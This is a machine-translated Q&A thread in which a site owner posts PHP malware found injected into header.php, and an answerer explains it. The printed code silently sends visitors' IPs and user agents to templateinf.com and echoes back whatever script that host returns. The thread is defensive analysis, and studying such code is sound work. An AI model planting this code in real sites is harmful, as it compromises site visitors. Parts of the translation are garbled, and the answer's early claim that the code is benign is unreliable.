PHP Hack - 这段代码在做什么?

时间:2014-06-23 20:02:08

标签: php security malware

Avast偶尔会出现在我的一个网站上。有点奇怪,因为我对安全性非常严格,但我检查了index.php文件和所有相关的包含和脚本。在我的" header.php"中发现了一些奇怪的PHP代码。我删除的文件。

今晚,avast再次出现,尽管我的FTP数据显示文件"还没有编辑,因为我修复了它#34;,代码又在那里。我现在更改了密码和所有内容。

这里是有问题的PHP代码,任何建议都会对这件事有什么好处!

<?php

$wp_bskr = 'inf';
$wp_tcc = 'template';
error_reporting(0);
ini_set('display_errors',0);
$wp_hrmr = @$_SERVER['HTTP_USER_AGENT'];

if (( preg_match ('/Gecko|MSIE/i', $wp_hrmr) && !preg_match ('/bot/i', $wp_hrmr))) {
    $wp_drss="http://".$wp_tcc.$wp_bskr.".com/".$wp_bskr."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_hrmr);

    $ch = curl_init();
    curl_setopt ($ch, CURLOPT_URL,$wp_drss);

    curl_setopt ($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $wp_wvw = curl_exec ($ch);
    curl_close($ch);
}

if ( substr($wp_wvw,1,3) === 'scr' ) {
    echo $wp_wvw;
}
?>

********* 更新 ************

感谢esqew更深入地研究这个并在您的博客文章中提供详细信息。可怕的东西确实。在我的最后得到了一些更新。

首先,使用avast日志(从检测到我的网站有恶意软件的时候),通过谷歌进行一些搜索,我发现另一个非常相似的代码示例,并且我的端点上的avast标记的IP地址与此帖子匹配题。这里提供了一些信息来缩小范围:恶意软件 - 流量分析.n * t / 2014/05/11 / index.html 。无论如何,我认为那是帖子。论坛的新手,不确定我是否可以发布链接,所以我已经出演了#34; net&#34; TLD。

从那里开始,我使用匹配的IP,一个包含javascript的网址,然后将其传递给注册商。他们从他们的结尾看了一眼,并确认有恶意事件发生在我的惊讶之中,在一小时内回复并暂停了域名并且所有人都连接到了这个IP。

其次,我的webhost发现他们认为泄漏是如何实现的。在没有给出详尽的详细信息的情况下,我意识到我有一个旧的wordpress安装(旧的我的意思是,我没有使用和忘记了多年,没有更新,因为2010年可能很容易受到我的推测)。从他们的日志看起来,这似乎是我的服务器的方式,因为我没有安装其他脚本。几天前,我更改了所有密码并完全删除了WP,因为它已不再使用,目前看来还不错。

1 个答案:

答案 0 :(得分:8)

看起来是某种后门,我们可以进一步探讨这个问题。前几行似乎设置了一些变量,使得代码更难以读取/检测:

$wp_bskr = 'inf'; // simple string settings
$wp_tcc = 'template'; // simple string settings
error_reporting(0); // making errors silent, so they are close to undetectable
ini_set('display_errors',0); // making errors silent, so they are close to undetectable
$wp_hrmr = @$_SERVER['HTTP_USER_AGENT']; // grab the user-agent string from the requesting party

然后根据这些字符串构建网址:

http://templateinf.com/inf/?...

...其中包含大量有关您的用户代理,您的IP地址及其来自的网页的信息。

然后在$wp_hrmr变量(您的用户代理字符串)上运行正则表达式,以检查它的Gecko或MSIE 是否不存在包含&#34; bot&#34; (带有草率,不必要的括号,我已经清理了一下):

if (preg_match('/Gecko|MSIE/i', $wp_hrmr) && !preg_match('/bot/i', $wp_hrmr)) {

如果满足这些条件,它会为之前创建的骨架网址创建cURL请求:

$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL,$wp_drss);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$wp_wvw = curl_exec ($ch);
curl_close($ch);

然后查看输出,如果它包含字符串&#34; scr&#34;在字符串中的特定点,它echo输出返回到浏览器:

if ( substr($wp_wvw,1,3) === 'scr' ){ echo $wp_wvw; }

根据我个人的判断,这是一个自动化工具,用于收集模板的使用情况统计信息(从URL中扣除),或者向中央服务器发出其报告的端点的警报。易受某种攻击(或两者兼而有之)的影响。但是,似乎没有足够的混淆来证明其归类为恶意软件的合理性,也不足以让人类可读得合法。它的错误沉默代码肯定指向前者,但它echo输出到缓冲区。无论如何,这是一段特殊的代码。 请参阅下面的更新以获取更多信息

然而,这是一个巨大的安全风险,您需要立即联系您的托管服务提供商,因为您的托管网络上可能存在比您的网站更大的问题。虽然这段特殊的代码并没有做任何特别恶意的事情,但在继续其他任何事情之前,仍然存在应该及时处理的风险。

正如@Jonathan在对OP的评论中提到的那样,您网站上出现的任何代码都没有经过严格的检查。


<强>更新

今晚writing this up之后,我正在进行博客实验,我在理解这个恶意软件方面取得了很大进展。

如果没有看到您当前的服务器配置,我首先要弄清楚这段代码是如何进入您的环境的。但是,我发现可以肯定地说,此代码将在未来的某些时候用于质量XSS攻击

字母scr告诉我,cURL请求输出的内容最终会包含这个字符串,这是一种过滤输出的简单方法,不会以{{1开头}}

一旦攻击者激活了他们的包含,服务器很可能会开始使用基于Javascript的代码回复请求,并在访问网站时攻击客户端。攻击者可能正在等待发布一个广泛的Javascript引擎错误,他们可以利用它来做更多的恶意事情而不仅仅是XSS(可能就像远程代码执行一样)。

如果有足够的受感染服务器,攻击者可以将这些后门用于任何事情:Javascript-based Bitcoin miningJavascript-based DDOS等。